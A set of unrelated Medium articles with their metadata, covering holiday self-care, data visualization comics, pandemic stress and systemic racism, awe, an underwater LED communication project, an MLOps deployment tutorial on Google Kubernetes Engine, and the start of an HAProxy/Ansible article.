Get plenty of sleep — Adequate sleep is beneficial in so many ways, and this time of year it can help you strengthen your resolve, improve your sanity and maintain your weight. Some studies also show that when you routinely clock a good night’s sleep, you’ll be more likely to make better food choices. Science also shows that sleep deprivation can lead to higher levels of the appetite-stimulating hormone, ghrelin, likely leading to a case of next-day munchies and a holiday of sugary sweet bad decisions.
Get some fresh air — Go into your calendar and schedule yourself 10 minutes of fresh air 3 days this week. Whether it’s going outside and feeling the cold air or the warm sun, going for a walk with no destination, or finding a favorite tree to look at, take 30 minutes this week. You won’t miss the time by taking three 10-minute breaks. You will get a fresh, energized perspective. Blood will flow better to your brain. You’ll return calmer and more refreshed. You’ll look at the list, do the next best right thing and say to yourself, “Oh, I have got this.”
Even though COVID has cancelled many gatherings, with some thought and proper planning we can still connect with our extended family and friends this year — from a distance — and honor holiday traditions in different, more creative and satisfying ways.
Do some holiday baking — Sure you can connect by video and just talk, but if there are cookies you usually bake with your daughter, or sweet breads with your mom — do it — virtually. You can order ingredients for delivery for yourself and the others, set a start time, and connect via video. The chatter, the laughter and the moments will still happen, it’s just the hugs you’ll need to postpone.
Have a meal — Whether it’s typical holiday fare or pizza in pajamas, you can still have a family meal. You can connect virtually with those you usually enjoy the day with, have your own choice of food and still enjoy the familiar conversations and laughter between family and friends.
Open gifts — Chances are even though you’re not together, gifts have been purchased, sent, and placed under the tree. Set a time and connect virtually so you can share the love behind each moment, and further connect during this unprecedented time.
Ultimately this season you need to take a break, take a breath, and nurture yourself and your loved ones. Crisis, such as the one we’re currently dealing with, brings out the best in us. It reminds us to stop and think about what truly matters. While the holidays look different this year, if we take time to take care of ourselves and safely connect with one another, we can still find plenty of ways and plenty of reasons to celebrate.
|
https://medium.com/@drnancyoreilly/creative-ways-to-navigate-the-2020-holidays-e9bb24cf7d81
|
["Dr. Nancy O'Reilly"]
|
2020-12-21 17:14:19.859000+00:00
|
['Christmas', 'Self Care', '2020', 'Holidays', 'Family']
|
Data Visualization Comics
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Data Visualization Comics
A community shows it is maturation when it develops its own sense of humour.
Humour! It’s good for you! It releases tension, and if you laugh with somebody you start to bond because it shows that both of you are pleasantly surprised by whatever makes the situation funny. But this is not a general health awareness post, or sponsored by Cartoon Network but about the emergence of a sense of humour that has data visualization at its very heart.
Data visualization is a funny place
While I argued in a recent post that data visualization has been around for a while, the emergence of a connected data visualization community is something pretty new. No idea what this community will turn into, but I can tell you one thing: after 3 months of being immersed in the Data Visualisation Society (DVS) — it’s a funny place.
DVS is a wonderful mix of people from different backgrounds, from computer science to stats/analysis to design and art. All of them trying to improve their craft, and finding people to collaborate, or ripping on pie charts. No? Ok, may just be me and Elijah on the last one.
The two things that help a group to develop their own sense of humour are
a) shared background (yeah not really)
b) shared pain/joy (bingo)
What helps in this is that at the moment it’s very hard to pinpoint what could be considered a well-rounded education to succeed in data visualization (I think the Data Visualization Society may help in this in the long run), so we all stumble and fumble. If you are not, I hear that Mike Bostock is hiring for Observable. (PS Mike, I got nothing but love for what you are doing. )
So with this let me get to the dog and pony show of highlighting some of the people I ran into when I started drawing my own cartoons (cough cough self-promotion, cough cough).
A mini who’s who
In the past couple of weeks, there has been emerging interest in data visualization comics. Below is a first attempt at highlighting Data Visualisation Society Members producing comics. By highlighting them and their work, we hope that more will join in the discussion or the effort.
Matt Hong — We have all seen his cartoon. It’s brilliant work because it actually is a Visualisation!
The comic makes brilliant use of the panels and time intervals spent by people in their respective activities. This reminds me of a comment about Don Knuth. It was along the lines of ‘literate programming is a wonderful thing if you are good at writing and programming.’ There are few people that will really have a need for it, except Prof Knuth. Damn Matt, way to start cartooning off with a mic drop moment.
Susie Lu — Susie’s work stands out a bit. She spent the time and did character development. Yes, the main character of her cartoons looks very much like her. But there is no better way to bring yourself into the work than by bringing yourself into the work.
Figure 2 in Susie’s wonderful article about storytelling in dashboards.
Natalia Kiseleva — While Natalia has only published a few strips, she is definitively somebody to watch in this space. If they remind you of the “The Manga Guide to …” you are on the right track.
Martin Telefont — I don’t consider myself part of the bunch. But I am more than 1/2 way through a 100-day challenge, and I am getting the hang of it. I think … back in a second, just checking if people like my latest cartoon on twitter/instagram.
What next?
I think with the field growing and the output getting more and more love (at the moment, most of it is going to Giorgia Lupi) and appreciation (most going to Nadie Bremer), this may not just be a fad, but something that has staying power.
Will any of us come up with the next Peanuts or Garfield? Probably not. Data visualization comics will most likely remain a niche and not go mainstream. Is there a chance for a xkcd or smbc? I think so. But that requires 3 things: a tenacity to stick around, appreciation of people who see the strips/panels, and opportunities to grow and keep things fresh.
Call to action:
If you like what you see, and want to support its growth:
show your appreciation (likes and retweets are highly appreciated),
ask us to collaborate on something where you think a cartoon or sketch helps, or
throw us an idea/observation and you may end up co-authoring a cartoon (yup there are bragging rights in this one).
Thank you for taking the time to read this article. If you want to reach out, leave me a comment below or contact me on twitter.
|
https://medium.com/nightingale/data-visualization-comics-68bb2c03fd3e
|
['Martin Telefont']
|
2019-06-19 17:08:52.433000+00:00
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['Community', 'Humor', 'Comics', 'Data Visualization', 'Datahumanism']
|
Covid-19, Systemic Racism, and Combat Operational Stress
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Living through the pandemic has given one scholar at the Freeman Spogli Institute for International Studies a point of departure for understanding mental health in a new way.
Photo: Getty Images
By Herb Lin
Dr. Herb Lin is senior research scholar for cyber policy and security at FSI’s Center for International Security and Cooperation and Hank J. Holland Fellow in Cyber Policy and Security at the Hoover Institution, both at Stanford University.
Data collected by the National Center for Health Statistics (NCHS) and the Census Bureau revealed that over 40% of the U.S. population in the 3rd week of July 2020 exhibited symptoms of anxiety or depression disorder, which are clinical diagnoses.[1] The comparable figure from the same survey given in the January-June 2019 time frame was 26%. Symptoms of anxiety or depression disorder included frequently having little interest or pleasure in doing things; feeling down, depressed, or hopeless; feeling nervous, anxious, or on edge; and not being able to stop or control worrying.
A second poll conducted by the Kaiser Family Foundation (KFF) and released on April 24, 2020 found that over half of U.S. adults (56%) report that worry or stress related to the coronavirus outbreak has caused them to experience at least one negative effect on their mental health and wellbeing, such as problems with sleeping or eating, increased alcohol use, or worsening chronic conditions.[2] 40% report that worry or stress has led to problems with their sleep, while 15% had difficulty controlling their temper and 13% reported increases in their alcohol or drug use. (The reason that the KFF figure is higher than the Census Bureau figure is likely that the KFF was not probing for clinical diagnoses, which is a more severe condition than that measured by the KFF poll.)
It is useful to look at some of these mental health issues with finer granularity.
Depression. Individuals suffering from depression often lose their self-confidence and feel overly vulnerable or incapable. Sometimes, they exhibit emotional dullness or numbness. That is, emotions such as pride, shame, hope, grief, and gratitude are sharply attenuated, even when circumstances or events occur that would normally spark such emotions. Social companionship may become less of a priority, as individuals become more withdrawn and silent and they seek to isolate themselves. Individuals may be less talkative than usual and show limited response to jokes or cries. Personal hygiene and grooming also assume less importance, and the individual may present as more disheveled in appearance, with little professional bearing.
Anxiety. Anxiety is characterized as a disproportionate response to uncertainty about potential threats. People who suffer from anxiety are often fearful, restless, pre-occupied with worst-case scenarios, unable to relax, or physically agitated.
Mental distraction. People who are mentally distracted often suffer from forgetfulness and an inability to concentrate. They may have difficulty sorting out priorities or starting routine tasks. They may be excessively concerned with minor issues and exhibit a tendency to do familiar tasks and a preoccupation with familiar details. Conversely, they may have a hard time performing unfamiliar tasks. They may be restless, wandering aimlessly. Attention spans may be short, making it difficult for them to understand what others are saying. They are often unable to take the initiative in starting any activity, or they may take a long time to react to occurrences that normally require prompt attention.
Irritability and angry outbursts. Mild irritability may include angry looks, sharp words, tears, or profanity in response to normal, everyday comments or incidents or relatively slight frustrations or provocations (e.g., the closing of a window, an accidental bumping, or just normal verbal interactions). More severe irritability may include sporadic and unpredictable explosions of aggressive or violent behavior.
Sleep disturbances and fatigue. With sleep disturbances in play, falling asleep is difficult even when the objective situation is safe for sleep. The individual may awaken frequently and have difficulty going back to sleep. Sleep may be accompanied by nightmares or other terror dreams, involving, for example, images of oneself or one’s loved ones dying. Sleep of this nature is not restful, and the individual may wake up as tired as when that person went to sleep. Individuals may also sleep excessively — significantly more than 7–9 hours per day. When these individuals are awake, they often exhibit low energy levels when they expend a great deal of effort on only a few or minor tasks.
Hypervigilance. Hypervigilance is characterized by excessive sensitivity (such as a fight-or-flight response) to external stimuli that might signal danger, even if that stimulus is associated with a benign object, event, or person. Hypervigilant individuals often overreact or misinterpret unexpected noise, movement, or light. They may even overreact to reassuring information, perceiving such information as threatening.
Most interesting about the list of symptoms above is that it is taken from U.S. Army manuals intended to provide leaders of combat units with information about how to identify stress resulting from combat operations. U.S. Army Field Manual FM 6–22.5 (March 2009, Combat and Operational Stress Control Manual for Leaders and Soldiers) describes combat stressors as “singular incidents that have the potential to significantly impact the unit or soldiers experiencing them,” whereas operational stressors include “multiple combat stressors or prolonged exposures due to continued operations in hostile environments (emphasis added).” Sometimes, these stressors are related to multiple potentially traumatic events, which are events that are “perceived and experienced as a threat to one’s safety or to the stability of one’s world.”
Reactions to combat and operational stress are not the same as post-traumatic stress disorders (PTSDs). That said, they may well share some symptomatic similarities, and the distinction between the two are not always clear. One key difference is chronological sequencing — in PTSD, symptoms of disorder appear after the event(s) occur, though the definition of “after” may be somewhat fuzzy given the ongoing nature of operational stress.
A decidedly unscientific survey of friends and acquaintances of mine indicates that these symptoms and manifestations have been surprisingly common since March 2020, when the seriousness of the COVID-19 outbreak began to be understood. A second point whose relevance will be apparent below is that the COVID-19 pandemic is unlike other national traumas in that the social mechanisms of family, friendship, and companionship that often moderate the effects of stress are unavailable to much of the citizenry.
A personal anecdote is relevant here. Much of the period between March 2020 and the present has been spent under a shelter-in-place order of some kind. Individuals, especially those in high-risk groups (I am a member of one such group), are advised to stay home as much as possible to avoid exposure to others who may be carriers of the SARS-CoV-2 virus that causes COVID-19. However, it is also necessary to venture outside for exercise, such as walking.
I live in an urban neighborhood and when I go outside for a walk, I find I am constantly scanning the streets and sidewalks for other human beings. My immediate reaction to the sighting of any human being is to react to that human as a potential threat. I consciously evaluate the threat by trying to determine if that human being is wearing a mask properly. If my answer is negative, I immediately seek ways to escape — turning around, crossing the street, or allowing the person to pass but with my back turned and holding my breath for a few seconds after the person has passed.
I used these words advisedly — an unmasked person *is* a threat, and an encounter with that individual could kill me if the virus is present in his or her body. Given the incidence of COVID-19 where I live (San Francisco), the likelihood that the person is COVID-positive is low — almost certainly less than 10 percent. And the likelihood of contracting the virus from a single pass-by with another person outside is also low — probably less than 1 in ten thousand (more a speculative guess than anything else). But I *feel* threatened with bodily harm by every such person — and these are the neighbors among whom I live.
Where else can this phenomenon be seen? One can certainly imagine this phenomenon happening when soldiers on counter-insurgency missions come across a village in which 200 villagers are probably friendly or neutral (i.e., pose no threat) and one person may be carrying a grenade underneath a shirt. The likelihood that one person in the village would want to do those soldiers bodily harm is low, but it is not zero, and soldiers learn to regard everyone in the village is a potential lethal threat. Usually this does not lead to open uses of force, but the sense of threat under those circumstances cannot be eliminated — and they have to regard every person in the village as a potential threat until shown otherwise. That is, the default assumption must be that a villager is regarded as potentially threatening until evidence disproves that assumption.
Of course, the scenario above is no one-time event. As stressful as the scenario is, it is repeated many times over a tour of duty. These then are the multiple potentially traumatic events that the soldier perceives and experiences as a threat to safety — and what lead to the symptoms of operational stress. And soldiers in combat zones have usually deployed far from home, away from the social support that usually helps people to cope with mental and emotional stress. (So too is the case with public health guidelines calling for social distancing — hugs from friends and relatives not within my shelter-in-place pod are off-limits.)
I do not pretend for a moment that what I am experiencing in my walks around town carry in any way the same significance or risk as for the combat soldier. I have never been under actual fire, even though I have been a student of national security affairs for 40+ years. But it appears to me that living through the pandemic has some of the features, in a much less intense way, of that combat experience — and perhaps it has given me a point of departure for understanding, in a very small way, what ground soldiers on patrol in Iraq or Afghanistan must experience every day.
What does any of this have to do with systemic racism? There is at least one group of citizens that experiences these phenomena on a regular basis all the time, though in a different context. Nearly every Black American family knows to teach its children about how to avoid trouble with the police. For me (not a Black citizen), I was taught that as long as I did things that were not illegal, I would never get into trouble with the police — and for the most part, that has been my personal experience.
But that’s hardly the experience of Black Americans, who have often been stopped for the “crime” of driving or walking while being Black. From the perspective of many, and perhaps most, Black Americans, every police officer is a potential lethal threat. I stress the word “potential,” which contrasts with the word “actual.” But the essential facts about such encounters are that the police officer is almost always armed with a gun, that the legal system tends to give broad deference to the judgments of police officers in using force, and that competent legal services to defend the interests of Black Americans involved are often unavailable or unaffordable.
In any given encounter between a Black American and a police officer, the most likely outcome is certainly not that the citizen will die. But the probability of such an outcome is not zero, and as a number of widely circulated videos have demonstrated, the fact that the citizen is posing no threat to the police officer is no guarantee that lethal force will not be used. And where I have been dealing with the continuing operational stress of unmasked pedestrians who might be carrying the potentially lethal novel coronavirus for 4 months, African-Americans have to approach interactions with armed police officers with trepidation and care for all of their lives. It is easy to see how dealing with such situations repeatedly could lead to diagnosed clinical conditions such as operational stress disorder, and I have come to see the street protests against police violence as an inevitable end result of continued operational stress conditions for an extended period of time lasting many decades.
The police often invoke the same argument — they say that in the situations to which they are required to respond, there is always the possibility that the suspects will resort to lethal force, and absent any other knowledge of the situation, they too must regard the individuals involved just as the ground soldier must approach the villager. They argue they too must make split-second decisions about the use of force, and when they err and a citizen dies, it is because they perceived an immediate physical threat at the time that required a significant use of force in response.
I have no doubt that the police are sincere in making this argument. But their perception is profoundly shaped by the fact that as a society, we leave it to the police to address many problems that political leaders and communities are not willing or able to address. The vast bulk of activities in which police officers engage do not involve violent crime — one estimate places the amount of time dealing with violent crime at 4 percent, with serious violent crime at 1 percent.[3] More typically, they deal with issues related to the homeless, the mentally ill, those experiencing drug overdoses, those involved with minor traffic problems, school safety, and so on. For most of these types of incidents, the probability that lethal force will be necessary is very low — and it is likely that other responders, trained in de-escalation and protected but not lethally armed, could handle the vast majority of them as long as they had backup personnel properly equipped to deal with situations that turned out to involve the need for serious force.
In any event, the situations faced by police officers responding to a call are for the most part entirely different from those faced by ground soldiers in the field. Ground soldiers are forcible occupiers of a foreign territory, and the police are not, or at least should not be. At most, it is reasonable that they should be bringing lethal force to only a small fraction of the calls — the ones that involve violent crime — to which they currently respond.
At the end of the day, the COVID-19 pandemic has given me, for the first time in my life, a very small taste of what systemic oppression feels like. I’ve been victimized by the pandemic for 4 months and I’m having a hard time dealing with it. I can only imagine the consequences of what systemic oppression feels like to a combat soldier doing counter-insurgency work on year-long tours of duty or to a Black American living in the United States for a lifetime. It’s not exactly a silver lining to the pandemic, but maybe by helping me to understand these phenomena more deeply, I can become a better person on the other end of it.
[1] https://www.cdc.gov/nchs/covid19/pulse/mental-health.htm
[2] https://www.kff.org/report-section/kff-health-tracking-poll-late-april-2020-economic-and-mental-health-impacts-of-coronavirus/, April 24, 2020
[3] https://www.nytimes.com/2020/06/19/upshot/unrest-police-time-violent-crime.html
|
https://medium.com/freeman-spogli-institute-for-international-studies/covid-19-systemic-racism-and-combat-operational-stress-f73c7823c224
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['Fsi Stanford']
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2020-08-09 22:10:40.779000+00:00
|
['Mental Health', 'Military', 'Pandemic', 'Covid 19', 'Racism']
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In Search of Awe
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In Search of Awe
Consumption is a progressive disease*
Photo by Benjamin Davies on Unsplash
One benefit of pregnancy which counters the joys of lightning crotch (Google it, I dare you) is the guilt-less freedom to say no.
At first, I felt like a wing-clipped bird but now it’s as though those secret fantasies of having an extended period of mild but debilitating sickness so as to grab some respite from the chaos of modern life have come true.
Because most of the time, pregnant or not, I’m exhausted.
Got to return that library book, get petrol, buy a card for Sarah, clean the car, reply to that email, call Mum and Dad, clean the windows, organise the pantry, fix the bike, paint the house, invite the neighbours over, befriend an elderly person, get my Masters, start an NGO, find a cure for cancer.
I need everything done by yesterday.
Which brings me to awe.
The last 33 weeks, I’ve experienced an increase in awe.
Every time there’s a kick or roll or I see the tiny complex figure on an ultrasound, I feel awe. Every time I imagine this completely new being equipped with personality and soul who will never exist again, I feel awe.
I wonder if it’s the missing ingredient, the brown sugar to my Weet-Bix, the antidote to the busyness scourge.
Awe is the moment when ego surrenders to wonder.
A few years ago, I was in the Whitsundays with some friends on a yacht. We’d visited the sacred Ngaro island, rich with Aboriginal significance that day and had docked for the night.
The air was still and enveloped in silence, punctuated by the lapping the water on the boat’s hull. I was lying in a hammock looking at the extraordinary fabric of stars glittering across the sky.
I could hear a dolphin, puffs of water exhaling from its blowhole emerging and submerging under the water’s surface, presumably looking for fish.
I got up and looked in the water and saw a network of phosphorescent algae glowing, sparkling like the stars in the sky. I breathed it in, this feeling.
I am a tiny speck in a huge universe which is not remotely aware of my first world problems.
Our whole world is contained in the palm of our hands, faces aglow in the iLight. We are in the driver’s seat, controlling every aspect of our lives. No question left unanswered by the glorious Google oracle.
The perception of control is exhausting because at any point we could drop the ball and the responsibility lies squarely on us.
The New Scientist talks about ‘the profound effects’ of awe. ‘Feeling awestruck can dissolve our very sense of self, bringing a host of benefits from lowering stress and boosting creativity to making us nicer people’ (Jo Marchant, New Scientist)
“The irony of our existence is this: We are infinitesimal in the grand scheme of evolution, a tiny organism on Earth. And yet, personally, collectively, we are changing the planet through our voracity, the velocity of our reach, our desires, our ambitions, and our appetites. Consumption is a progressive disease.” (*Terry Tempest Williams)
Consumption of our precious time for the sake of control. Being unable to say no because we wear busyness like a badge of honour.
It’s Saturday morning and I’m sitting in the backyard with my brother who’s down from Sydney. We’re both tired and watching the clouds drift over, waiting for a moment of sunshine. The stormy textures of the clouds which shift and morph hold our attention for at least half an hour.
I realise that maybe awe isn’t an elusive emotion reserved for exotic holidays on a yacht. I can find it in the everyday, the mundane.
Perhaps when we surrender our control to the grand and complex universe, embracing our smallness, we can breathe again.
|
https://medium.com/publishous/in-search-of-awe-9a51f8500a03
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['Cherie Gilmour']
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2019-08-27 21:58:53.610000+00:00
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['Life', 'Motivation', 'Self-awareness', 'Storytelling', 'Self Improvement']
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Real-time underwater wireless communication using an LED array
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As far as humanity can recall, one thing has always been very evident, that from time-to-time we humans have invented or discovered things that then went on to make our lives simpler and more productive. Be it the discovery of fire, setting up currencies or something as natural as methods of efficient communication. Particularly in terms of communication has evolved beyond belief, who knew that we humans will progress from a point where we used to paint cave walls to the present day where we have 7,117 languages to express ourselves. Our bucket of literary languages is already brimming enough, but scientific methods of communication have an implausible scope, with newer and newer methods being devised each day by the ingenious minds of our country!
One such proposed and well accepted and acknowledged methodology is “Real-Time Text Transmission Implemented for Underwater Wireless Communication Using a LED Array”
This is a very important and trending technology, primarily because of its applications such as environment monitoring of difficult terrains, gathering of widely varying oceanographic data, search and rescue missions especially underwater. Underwater communication is a trending field of interest and approaches are under development for achieving low power consumption, compact size and better range. Use of optical waves for underwater communication is an effective approach for secured communication at faster data transfer rates.
The majority of Earth’s surface is covered by water bodies and hence with the advancements in the field of communication technology researchers are eagerly in attempts to utilise what is known as underwater communication. Today underwater communication is implemented by the optical fibres underlaid to allow communication across the globe. Various approaches have been implemented across the past to achieve successful communication in underwater terrains.
The proposed system deals with the implementation of a Li-Fi (Light Fidelity is a bidirectional wireless system that transmits data via LED or infrared light) based module for underwater communication. The system is designed and implemented on the principle of transmission through LED array and reception using a solar panel. The experimental observations analyses the distance versus power relationship for the transfer of textual data. The data transfer is very encouraging and found to be applicable for underwater communication.
Now let us take a closer look at the project and its working.
The conventional communication technologies that have been in usage for terrestrial communication, provide a few limitations because of which they cannot be applied for underwater communication. For example,
1. Acoustic approach: Slow data transfer speed.
2. Radio wave propagation: Design of antennas for tolerable noise.
3. Optical wave propagation: Consideration of scattering effects, absorption and interference effects as limiting factors.
LEDs due to inherent low thermal resistance are a better option. The concept of Li-Fi which is successfully being implemented in terrestrial terrains is among the best alternatives for underwater communication systems. The technique of utilization of very rapid flickering ability of LEDs for transmitting binary data serially is termed as “Light-Fidelity”. When the LED is OFF it represents a logic ‘0’ transmission and similarly, a logic ‘1’ is represented by LED when ON. The digital data rate is fast and is modulated at such a rapid rate that LEDs appear to be a constant source of illumination for human eyes.
In the designed module Manchester encoding has been implemented. Manchester encoding is a data modulation technique that can be used in many situations but which is particularly helpful in binary data transfer based on analogue, RF, optical, high-speed-digital, or long-distance-digital signals. Manchester code is also known as phase encoding is a line coding scheme in which the encoding of each data bit is either low then high, or high then low, for an equal interval of time. It is a self-clocking signal with no DC component. It is a simple digital modulation scheme that does two things:
1. Ensures that the signal never remains at logic low or logic high for an extended period of time
2. Converts the data signal into a data-plus-synchronization signal.
Manchester encoding can be implemented as per the user for example — A logic-high bit of data corresponding to a high-to-low transition, and a logic-low bit corresponding to a low-to-high transition or vice versa with a prerequisite knowledge at the receiver end to expect what to decode.
The Designed System:
The designed system is partitioned into two independent units — a transmitter module and a receiver module. Inside the transmitting unit, the data is first converted to binary form using an ADC and then further fed into a LED driver circuit which is controlled by a signal processor. The LED driver works on the principle of On-Off Keying modulation (Manchester encoding). After this, the high illumination LED fluctuates at high frequency and transmits the data as optical pulses through the wireless medium. At the receiving unit, these optical pulses are sensed by a photodetector and interpreted into an electrical signal which is amplified by a transimpedance amplifier and then converted back to binary data using a comparator.
FIG 1. Transmitter Section
FIG 2. Receiver Section
The transmitter module: In the transmitter module, an array of blue LEDs is used to transmit light, which would be used to transmit data. The array pattern implementation has the advantage of better range and higher performance as compared to a single LED. The source of the data that would be sent to the LEDs would be though the MCU of the transmitter circuit. The amount of power being sent to the LEDs from the MCU was low so the number of LEDs in the arrays were increased to improve the amount of power.
The receiver module: The receiver module aims to achieve a reasonably strong photocurrent that would only intake the signal from the transmitter LEDs and output that signal to the receiver MCU. To get a strong photocurrent at up to a range of few meters away, a sizeable array of photodiodes or a solar panel is required. “Solar cells” or “Photovoltaic devices” can also be used as a photodetector, i.e., to convert light into power which is the ultimate goal.
Results: The data is transmitted and received in the form of light intensity or optical waves. At the transmitter module, the binary data is processed from user-readable form to electrical equivalent and then consequently in the form of pulses of light. Similarly, at the receiver end, the optical pulses are first converted into electrical equivalent quantity and then back to the original format.
Future scope of the proposed project: The designed system has a manifold scope of betterment. To begin with the hardware components basically, the LEDs can be replaced with high power LEDs to achieve better range. The synchronization between receiver and transmitter parts before data transfer is another area of improvement. The designed system is on the Arduino with the Serial Monitor test for synchronization which can be improved upon with better controllers and algorithms.
|
https://medium.com/nationin/real-time-underwater-wireless-communication-using-an-led-array-6baecc5f3b03
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['Anuj Prakash Gupta']
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2020-12-27 17:42:04.654000+00:00
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['Wireless', 'Led', 'Underwater', 'Communication', 'IoT']
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MLOps End-To-End Machine Learning Pipeline-CICD
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The main objective of this project is to automate the whole machine learning app deployment process. To implement this project the person needs some understanding of TensorFlow and basic knowledge in dockers and Kubernetes. If you want to know more about Docker, Kubernetes, and cloudbuild then refer to the links I have given. Let's dive in.
Contents:
About the Dataset Model Development Steps Model Deployment and CICD Steps
What is MLops?
According to Google documentation
👉🏻 MLOps is a methodology for ML engineering that unifies ML system development (the ML element) with ML system operations (the Ops element). It advocates formalizing and (when beneficial) automating critical steps of ML system construction. MLOps provides a set of standardized processes and technology capabilities for building, deploying, and operationalizing ML systems rapidly and reliably. MLOps supports ML development and deployment in the way that DevOps and DataOps support application engineering and data engineering (analytics). The difference is that when you deploy a web service, you care about resilience, queries per second, load balancing, and so on. When you deploy an ML model, you also need to worry about changes in the data, changes in the model, users trying to game the system, and so on. This is what MLOps is about.
1. About the Dataset:
This dataset was initially published by analyticsvidhya.com
and also available in Kaggle.
This dataset contains around 25k images of size 150x150 distributed under 6 categories.
{‘buildings’ -> 0,
‘forest’ -> 1,
‘glacier’ -> 2,
‘mountain’ -> 3,
‘sea’ -> 4,
‘street’ -> 5 }
The Train, Test, and Prediction data is separated in each zip file. There are around 14k images in Train, 3k in Test, and 7k in Prediction.
2. Model Development Steps
Image credit — TensorFlow documentation
I am not going into detail on the model development. I am using TensorFlow for this image classification problem. Here the objective is to build the model and automate the deployment process.
Unstructured data
Image classification -Multiclass
Use TensorFlow library
Upload the dataset to a dataframe.
Explore the dataset.
Prepare the data.
Data Augmentation — Using ImageDataGenerator
CNN classifier
Multiclass classification -softmax
loss-categorical_crossentropy
Optimizer -Adam
Image by the author
Remember to download the model and test again by uploading.
model.save(‘/content/drive/MyDrive/Files/image_intel/models/’, save_format=’tf’)
and upload
model_loaded = tf.keras.models.load_model(‘/content/drive/MyDrive/Files/image_intel/models/models/’)
The saved model folder will look like
Image by the author
3. Model Deployment and CICD Steps
The below are the steps we are going to follow to deploy the model in GCP.
What is CICD?
According to Google documentation
Continuous Integration (CI) and Continuous Delivery (CD) enables teams to adopt automation in building, testing, and deploying software.It will then guide you through the CI/CD pipeline stage to build and deploy an application to GKE using Container Registry and Cloud Build.
We will be doing the following steps.
Github ready: Create all the files needed for the automation and keep the GitHub repository ready. Cloudbuild: The build will be done by using google cloudbuild. Testing: No automated testing in this pipeline. Deploy: We will be deploying it in GKE with 2 replicas.
Github, Cloudbuild, and Deploy in GKE:
The detail steps are
Create a streamlit app -python file. Create a docker file. Create the requirements file. Create the Kubernetes deployment YAML file. Create the Kubernetes service YAML file. Create the cloudbuild YAML file. Create a GitHub repository on the GitHub desktop. Upload and organize the files on the Github desktop. Push the files from desktop to Github. Link the cloudbuild to the Github and the GCP project. Create a trigger in the GCP -trigger based on the changes in the Github code. Now the build is triggered and the app is deployed on the Kubernetes engine.
Let's go into details on the above steps.
Now you have the CNN image classification model downloaded and ready to be deployed. We are going to deploy the model in the Google Kubernetes Engine.
According to google cloud documentation -Google Kubernetes Engine (GKE) provides a managed environment for deploying, managing, and scaling your containerized applications using Google infrastructure. The GKE environment consists of multiple machines (specifically, Compute Engine instances) grouped together to form a cluster.
Some of the advantages of using the Kubernetes are
Load balancing
Automatic scaling
Automatic upgrades
Node auto repair
Logging and monitoring.
If you don’t have the GCP account then you can create one and use the 300$ free credit for the new users by GCP. The details are
New customers also get $300 in free credits to fully explore and conduct an assessment of the Google Cloud Platform. You won’t be charged until you choose to upgrade.
Let's see all the steps in detail
Streamlit:
Streamlit is an open-source app framework for Machine Learning and Data Science teams. Create beautiful data apps in hours, not weeks. All in pure Python.
Image credit — Streamlit documentation
For Streamlit examples check out the following link
The py file for the streamlit is below
Docker:
A Dockerfile is a text document that contains all the commands a user could call on the command line to assemble an image.
Image credit-Docker Documentation
To know more about docker check out the below
What's the difference between VM and Docker?
Before creating the docker file let's create the requirements.txt file which will be used in the docker file.
The requirements file in our case is below
Image by the author
The requirements file contains all the packages we need in the application. In our case, we need the above libraries like TensorFlow, Streamlit, pandas, matplotlib, etc.
Why we need the requirements file in the docker file?
Our docker file is below
Image by the author
The docker file contains the following
Docker images can be inherited from other images. Therefore, instead of creating our own base image, we’ll use the official Python image that already has all the tools and packages that we need to run a Python application. We are using Python 3.7. Why Slim? The slim image is a paired-down version of the full image. This image generally only installs the minimal packages needed to run your particular tool. By leaving out lesser-used tools, the image is smaller. Use this image if you have space constraints and do not need the full version. But be sure to test thoroughly when using this image! If you run into unexplained errors, try switching to the full image and see if that resolves it.
COPY . .
Create the working directory. Create the variable which contains the working directory. Copy all the local files to the working directory. This COPY command takes all the files located in the current directory and copies them into the image.
RUN pip3 install -r requirements.txt
After the copy then run the pip install all the packages mentioned in the requirements.txt file . This works exactly the same as if we were running pip3 install locally on our machine, but this time the modules are installed into the image.
. This works exactly the same as if we were running locally on our machine, but this time the modules are installed into the image. Now we have the python installed. Then all the dependencies installed.
Now, all we have to do is to tell Docker what command we want to run when our image is executed inside a container. We do this using the CMD command. We want to execute the streamlit app. The streamlit app is executed disabling CORS protection by running Streamlit with the --server.enableCORS flag set to false
CMD [ "streamlit", "run","--server.enableCORS","false","myapp.py" ]
Kubernetes:
We have already created the docker file and why we need Kubernetes.According to Kubernetes documentation
Kubernetes, also known as K8s, is an open-source system for automating deployment, scaling, and management of containerized applications.
Image credit-Kubernetes Documentation
Kubernetes is an open-source container management software developed in the Google platform. It helps you to manage a containerized application in various types of physical, virtual, and cloud environments.
Kubernetes simplifies the deployment and configuration of complex containerized applications and it helps with topics like scaling and load balancing. Kubernetes was created at Google originally and later donated to the Cloud Native Computing Foundation (CNCF). It is now managed and maintained by CNCF and has strong community support and users around the globe. Google runs roughly 2.5 billion containers using Kubernetes to run its services for users. Kubernetes is available on different cloud platforms such as Google Cloud Platform’s Google Kubernetes Engine (GKE), AWS EC2 Container Service, and Microsoft Azure Container. The CLI tool that is used to interact with the Kubernetes object is known as kubectl.
The alternatives to Kubernetes are
1. Amazon ECS
2. RedHat OpenShift
3. Docker Swarm
4 .Nomad
5. AWS Fargate
All the config files are created in YAML .
We will be creating 2 YAML file
Deployment YAML file
Service YAML file
To learn more about the deployment and service file please check out the video
The deployment file is as below
Image by the author
apiVersion - Which version of the Kubernetes API you're using to create this object
- Which version of the Kubernetes API you're using to create this object kind - What kind of object you want to create
- What kind of object you want to create metadata - Data that helps uniquely identify the object, including a name string, UID , and optional namespace
- Data that helps uniquely identify the object, including a string, , and optional spec - What state you desire for the object
- What state you desire for the object The important point to note is the container image used to build the pod is image: gcr.io/my-vision-project-283816/myapp:v1. This is the image build using the docker file and registered in the GCP registry.
The container port is 8501.Streamlit uses port 8501.
The Deployment creates two replicated Pods, indicated by the .spec.replicas field.If you want to scale up to more then you increase the replicas to a higher number.
The service yaml file is below
Image by the author
|
https://medium.com/analytics-vidhya/mlops-end-to-end-machine-learning-pipeline-cicd-1a7907698a8e
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['Senthil E']
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2021-07-05 06:35:11.448000+00:00
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['Gcp', 'Kubernetes', 'Docker', 'TensorFlow', 'Machine Learning']
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Webserver Load Balancing by HAProxy using Ansible.
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In this article, I am going to discuss on the HAproxy load balancer, how to configure load balancer and managing webserver with HAproxy service by ansible.
What is Ansible ?
